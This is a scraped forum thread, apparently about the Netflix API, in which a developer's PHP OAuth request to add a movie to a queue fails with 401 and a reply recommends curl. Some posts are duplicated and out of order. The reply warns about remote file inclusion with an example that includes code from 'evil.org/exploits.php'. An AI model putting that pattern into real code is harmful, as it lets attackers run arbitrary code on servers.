I am using the OAuth.php library. I have completed the OAuth dance and have an access token, access secret, and user_id. I can view the users queue but am having trouble adding a movie to that queue.
Here is the code I was using to test the add_to_queue. Key, secret, and user_id values have been changed.
<?
require_once('./OAuth.php');
$netflix_api_key="myN3tfl1xk3y";
$netflix_api_secret="N3tfl1xs3cr3t";
$myapp_token = new OAuthConsumer($netflix_api_key, $netflix_api_secret); // creates the app Oauth object.
$access_token="my4cc35570k3n"; // will be read from database
$access_token_secret="my4cc35553cr37"; // will be read from database
$access_token = new OAuthConsumer($access_token, $access_token_secret); // creates the access OAuth object.
Warning: file_get_contents(http://api.netflix.com/users/u53r_1D/queues/disc?oauth_version=1.0&oauth_nonce=ch4ng3d&oauth_timestamp=1229370691&oauth_consumer_key=ch4ng3d&title_ref=http%3A%2F%2Fapi.netflix.com%2Fcatalog%2Ftitles%2Fmovies%2F60024918&oauth_token=my4cc35570k3n&oauth_signature_method=HMAC-SHA1&oauth_signature=ch4ng3d) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.0 401 Unauthorized in ....
I'll be honest and say that I've not tried duplicating your code to see what's going on, so this is more "gut reaction" than "absolute fix", but off hand I'd guess that the problem is you're using file_get_contents() instead of curl() to do a "POST".
POSTing is very different than performing a GET function in that additional arguments are passed in the body of the request, not just in the URL. To my knowledge, file_get_contents (which you really shouldn't be using for security reasons) only fakes "GET" type requests. This means that whatever arguments are in your POST are being lost. You can try switching the method to "GET" to see if that works for you.
By the way, you really, really want to use curl (or any other dedicated network call) to do this sort of stuff for a lot of reasons. You get more control over things, it's faster, and you don't introduce a potential hacking vector into your code. (e.g. some numbnut doesn't inject a auto-replace variable and you wind up doing something like
<?php include($mySafeFile); ?>
where someone's swapped in
$mySafeFile="http://evil.org/exploits.php"; )
Let me know if that solves the problem. If not, I'll dig into it a bit deeper.
i am getting fatal error in this line
$myapp_token = new OAuthConsumer($netflix_api_key, $netflix_api_secret); // creates the app Oauth object.
i am using OAuthsimple library. which library do i need for oath consumer.?
I am using the OAuth.php library. I have completed the OAuth dance and have an access token, access secret, and user_id. I can view the users queue but am having trouble adding a movie to that queue.
Here is the code I was using to test the add_to_queue. Key, secret, and user_id values have been changed.
<?
require_once('./OAuth.php');
$netflix_api_key="myN3tfl1xk3y";
$netflix_api_secret="N3tfl1xs3cr3t";
$myapp_token = new OAuthConsumer($netflix_api_key, $netflix_api_secret); // creates the app Oauth object.
$access_token="my4cc35570k3n"; // will be read from database
$access_token_secret="my4cc35553cr37"; // will be read from database
$access_token = new OAuthConsumer($access_token, $access_token_secret); // creates the access OAuth object.
$user_id="u53r_1D";
$api_action = "http://api.netflix.com/users/$user_id/queues/disc";
$api_request = OAuthRequest::from_consumer_and_token($myapp_token, $access_token, "POST", $api_action, $params_ary);
$api_request->sign_request(new OAuthSignatureMethod_HMAC_SHA1(), $myapp_token, $access_token);
$api_results = file_get_contents($api_request);
header("Content-type: text/xml");
echo $api_results;
?>
If I run the script, I get:
Warning: file_get_contents(http://api.netflix.com/users/u53r_1D/queues/disc?oauth_version=1.0&oauth_nonce=ch4ng3d&oauth_timestamp=1229370691&oauth_consumer_key=ch4ng3d&title_ref=http%3A%2F%2Fapi.netflix.com%2Fcatalog%2Ftitles%2Fmovies%2F60024918&oauth_token=my4cc35570k3n&oauth_signature_method=HMAC-SHA1&oauth_signature=ch4ng3d) [function.file-get-contents]: failed to open stream: HTTP request failed! HTTP/1.0 401 Unauthorized in ....
Help!? :)
Message edited by Bruinor 10 months ago
Tags
JR Conlin – 3 years ago
I'll be honest and say that I've not tried duplicating your code to see what's going on, so this is more "gut reaction" than "absolute fix", but off hand I'd guess that the problem is you're using file_get_contents() instead of curl() to do a "POST".
POSTing is very different than performing a GET function in that additional arguments are passed in the body of the request, not just in the URL. To my knowledge, file_get_contents (which you really shouldn't be using for security reasons) only fakes "GET" type requests. This means that whatever arguments are in your POST are being lost. You can try switching the method to "GET" to see if that works for you.
By the way, you really, really want to use curl (or any other dedicated network call) to do this sort of stuff for a lot of reasons. You get more control over things, it's faster, and you don't introduce a potential hacking vector into your code. (e.g. some numbnut doesn't inject a auto-replace variable and you wind up doing something like
<?php include($mySafeFile); ?>
where someone's swapped in
$mySafeFile="http://evil.org/exploits.php"; )
Let me know if that solves the problem. If not, I'll dig into it a bit deeper.
Bruinor – 3 years ago
Thanks a bunch JR Conlin for the easy fix and the info. It works now. :)
vikas2931 – 10 months ago
which movie are you adding here? I dont see the movie id passed anywhere, I alos need to do same thing. Please help
vikas2931 – 10 months ago
i am getting fatal error in this line
$myapp_token = new OAuthConsumer($netflix_api_key, $netflix_api_secret); // creates the app Oauth object.
i am using OAuthsimple library. which library do i need for oath consumer.?